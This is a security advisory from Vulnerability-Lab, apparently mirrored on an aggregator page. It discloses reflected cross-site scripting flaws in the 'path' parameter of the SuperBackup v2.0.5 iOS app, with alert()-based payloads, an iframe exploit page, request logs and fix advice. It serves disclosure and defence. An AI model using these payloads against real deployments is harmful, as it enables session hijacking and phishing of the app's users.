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SuperBackup v2.0.5 - Multiple Site Scripting Vulnerabilities
🗓️ 22 Apr 2020 00:00:00Reported by Vulnerability-Lab - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri - https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.Type 
vulnerlab🔗 www.vulnerability-lab.com👁 32 Views
Document Title:
===============
SuperBackup v2.0.5 - Multiple Site Scripting Vulnerabilities
References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2201
Release Date:
=============
2020-04-22
Vulnerability Laboratory ID (VL-ID):
====================================
2201
Common Vulnerability Scoring System:
====================================
4.3
Vulnerability Class:
====================
Multiple
Current Estimated Price:
========================
500€ - 1.000€
Product & Service Introduction:
===============================
Backup all your iPhone or iPad contacts in 1 tap and export them. Fastest way to restore contacts from PC or Mac.
Export by mailing the backed up contacts file to yourself. Export contacts file to any other app on your device.
Export all contacts directly to your PC / Mac over Wifi, no software needed! Restore any contacts directly from
PC / Mac. Restore contacts via mail. Get the ultimate contacts backup app now.
(Copy of the Homepage: https://apps.apple.com/us/app/super-backup-export-import/id1052684097 )
Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple non-persistent cross site web vulnerabilities in the official SuperBackup v2.0.5 ios mobile application.
Affected Product(s):
====================
Dropouts Technologies LLP
Product: Super Backup v2.0.5
Vulnerability Disclosure Timeline:
==================================
2020-04-23: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Authentication Type:
====================
Pre Auth (No Privileges or Session)
User Interaction:
=================
Low User Interaction
Disclosure Type:
================
Full Disclosure
Technical Details & Description:
================================
Multiple cross site scripting web vulnerabilities has been discovered in the official SuperBackup v2.0.5 ios mobile application.
The vulnerability allows remote attackers to inject own malicious script codes with non-persistent attack vector to compromise
browser to web-application requests from the client-side. The product is publicly certified by the BSI in germany and owns a
security policy against backdoors.
The cross site scripting vulnerabilities are located in the path parameter of the list and download module. Remote attackers are
able to inject own malicious non-persistent script code to client-side requests. The request method to inject is GET and the attack
vector is located on the client-side. Attackers are able to exploit the path variable for manipulations.
Remote attackers are able to inject own script codes to the client-side requested vulnerable web-application parameters. The attack vector of
the vulnerability is non-persistent and the request method to inject/execute is POST/GET. The vulnerabilities are classic client-side cross
site scripting vulnerabilities. Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing attacks,
non-persistent external redirects to malicious source and non-persistent manipulation of affected or connected application modules.
Request Method(s):
[+] GET
Vulnerable Module(s):
[+] list
[+] download
Vulnerable Parameter(s):
[+] path
Proof of Concept (PoC):
=======================
The cross site scripting vulnerability can be exploited by remote attackers without privileged user account and with low user interaction.
For security demonstration or to reproduce the cross site scripting vulnerability follow the provided information and steps below to continue.
PoC: Payload
>"<a onmouseover=alert(document.domain)>test</a>
PoC: Vulnerable Source
<!DOCTYPE html><html lang="en"><head><meta charset="utf-8">
<title>HTTP Error 404</title></head><body><h1>HTTP Error 404: "
<iframe src=evil.source>" does not exist</h1><h3></h3></body></html>
PoC: Exploitation
<html>
<head><body><title>SUPER BACKUP IOS XSS POC</title>
<iframe src=http://localhost/list?path=>"<a onmouseover=alert(document.domain)>test</a>
<iframe src=http://localhost/download?path=>"<img%20src=evil.source%20onload=alert(document.domain)>%20>
</body></head>
</html>
--- PoC Session Logs [GET] ---
http://localhost/download?path=>"<a onmouseover=alert(document.domain)>test</a>
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
-
GET: HTTP/1.1 200 OK
Content-Length: 190
Content-Type: text/html; charset=utf-8
Connection: Close
Server: GCDWebUploader
-
http://localhost/evil.source
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://localhost/download?path=>"<a onmouseover=alert(document.domain)>test</a>
Upgrade-Insecure-Requests: 1
-
GET: HTTP/1.1 200 OK
Server: GCDWebUploader
Connection: Close
References:
http://localhost/list?path=
http://localhost/download?path=
Solution - Fix & Patch:
=======================
1. Restrict the input of the vcf name / filename and disallow special chars
2. Parse and encode the parameter to filter malicious contents
3. Sanitize in the listing the to prevent the execution point on index
Security Risk:
==============
The security risk of the cross site scripting web vulnerabilities in the super backup mobile application are estimated as medium.
Credits & Authors:
==================
Vulnerability-Lab - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri - https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab
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or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do
not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.
We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.
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22 Apr 2020 00:00Current
7.4High risk
Vulners AI Score7.4